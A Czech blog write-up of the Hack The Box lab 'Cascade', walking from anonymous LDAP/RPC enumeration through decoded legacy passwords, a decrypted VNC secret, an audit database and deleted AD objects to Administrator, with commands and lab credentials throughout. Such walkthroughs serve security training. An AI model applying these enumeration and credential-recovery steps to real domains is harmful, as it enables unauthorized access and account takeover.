tom@home.htb:~$

Blog o HTB

16 November 2020

Cascade

Úvod a kontext

Cascade je ukázkový Active Directory řetězec postavený na tom, že citlivé údaje unikají do popisů účtů, sdílených souborů i interních auditních nástrojů. Žádný krok sám o sobě není dramatický, ale dohromady otevřou cestu od anonymního LDAP/RPC průzkumu až k účtu Administrator.

Výukově je na tomhle stroji nejcennější právě návaznost jednotlivých stop. cascadeLegacyPwd v LDAP popisu odemkne r.thompson, ten dovede ke konfiguraci VNC a účtu s.smith, auditní nástroje vydají heslo pro ArkSvc a teprve přes přístup k deleted objects se objeví staré heslo administrátora.

Počáteční průzkum

Vyhledání otevřených portů

Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.

ports=$(nmap -p- --min-rate=1000 -T4 -Pn $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v -Pn $IP
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-04-26 17:47:29Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49165/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -2m20s
| smb2-security-mode:
|   2.02:
|_    Message signing enabled and required
| smb2-time:
|   date: 2020-04-26T17:48:22
|_  start_date: 2020-04-26T14:00:54

Anonymní RPC a LDAP

Cascade dovolí hodně užitečný první průzkum i bez přihlášení. rpcclient vrátí seznam účtů a windapsearch navíc ukáže atribut cascadeLegacyPwd, který je uložený v base64. To je důležitý moment: nejde o crack, ale o prosté přečtení historického hesla uloženého přímo v adresářových datech.

rpcclient -W "" -U "%" -c querydispinfo $IP
./windapsearch/windapsearch.py --dc-ip $IP --full --functionality -G -U -PU -C --da --admin-objects --user-spns --unconstrained-users --unconstrained-computers --gpos
=> cascadeLegacyPwd: clk0bjVldmE=
=> userPrincipalName: r.thompson@cascade.local

První doménové heslo a přístup do sdílení

Po dekódování clk0bjVldmE= vznikne rY4n5eva, které funguje pro r.thompson. Tím se otevře SMB share Data, kde už leží další konkrétní artefakty.

echo 'clk0bjVldmE=' | base64 -d
./impacket/examples/smbclient.py r.thompson:rY4n5eva@cascade.local
=> rY4n5eva
=> r.thompson:rY4n5eva

Analýza zjištění

VNC konfigurace a účet s.smith

Ve Data share je soubor s.smith/VNC Install.reg. Heslo v něm není hash pro offline crack, ale VNC tajemství šifrované známým fixním klíčem. Proto dává smysl rovnou ho dešifrovat a ověřit proti dalšímu doménovému účtu.

mount //$IP/Data mnt -o username=r.thompson
s.smith/VNC\ Install.reg:Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
msfconsole
irb
fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
require 'rex/proto/rfb'
Rex::Proto::RFB::Cipher.decrypt ["6bcf2a4b6e5aca0f"].pack('H*'), fixedkey
=> "sT333ve2"

Získání přístupu

WinRM jako s.smith

Jakmile se heslo pro s.smith ověří, dává WinRM nejčistší způsob další práce. Na doménovém řadiči je to přesně ten typ přístupu, který je pohodlnější a méně křehký než SMB-only enumerace.

./evil-winrm/evil-winrm.rb -i $IP -u s.smith -p 'sT333ve2'

Získání user flagu

user.txt tady hlavně potvrzuje, že sled indicií z LDAP a SMB opravdu vedl k běžnému interaktivnímu přístupu v doméně pod s.smith.

cat user.txt
__CENSORED__

Eskalace oprávnění

Auditní nástroje a účet ArkSvc

Další krok už neleží v SMB share Data, ale v auditních souborech. RunAudit.bat ukáže, že CascAudit.exe pracuje nad Audit.db. Z něj jde získat šifrované tajemství účtu ArkSvc, které po dešifrování vyjde jako w3lc0meFr31nd.

type RunAudit.bat
CascAudit.exe "\\CASC-DC1\Audit$\DB\Audit.db"
sqlitebrowser
=> ArkSvc:BQO5l5Kj9MdErXx6Q6AGOw==
=> password: w3lc0meFr31nd
./evil-winrm/evil-winrm.rb -i $IP -u ArkSvc -p 'w3lc0meFr31nd'

Deleted Objects a TempAdmin

Teprve účet ArkSvc dovolí dotazovat deleted objects v AD. Tam se objeví smazaný TempAdmin s atributem cascadeLegacyPwd, který je znovu jen base64. Po dekódování vznikne heslo administrátora a řetězec se tím uzavírá.

Get-ADObject -filter 'isdeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects -property *
cascadeLegacyPwd  : YmFDVDNyMWFOMDBkbGVz
Deleted           : True
DistinguishedName : CN=TempAdmin\
echo 'YmFDVDNyMWFOMDBkbGVz' | base64 -d
./evil-winrm/evil-winrm.rb -i $IP -u Administrator -p 'baCT3r1aN00dles'
cat root.txt
__CENSORED__

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: windows - sql-injection - smb - kerberos - ldap - winrm - active-directory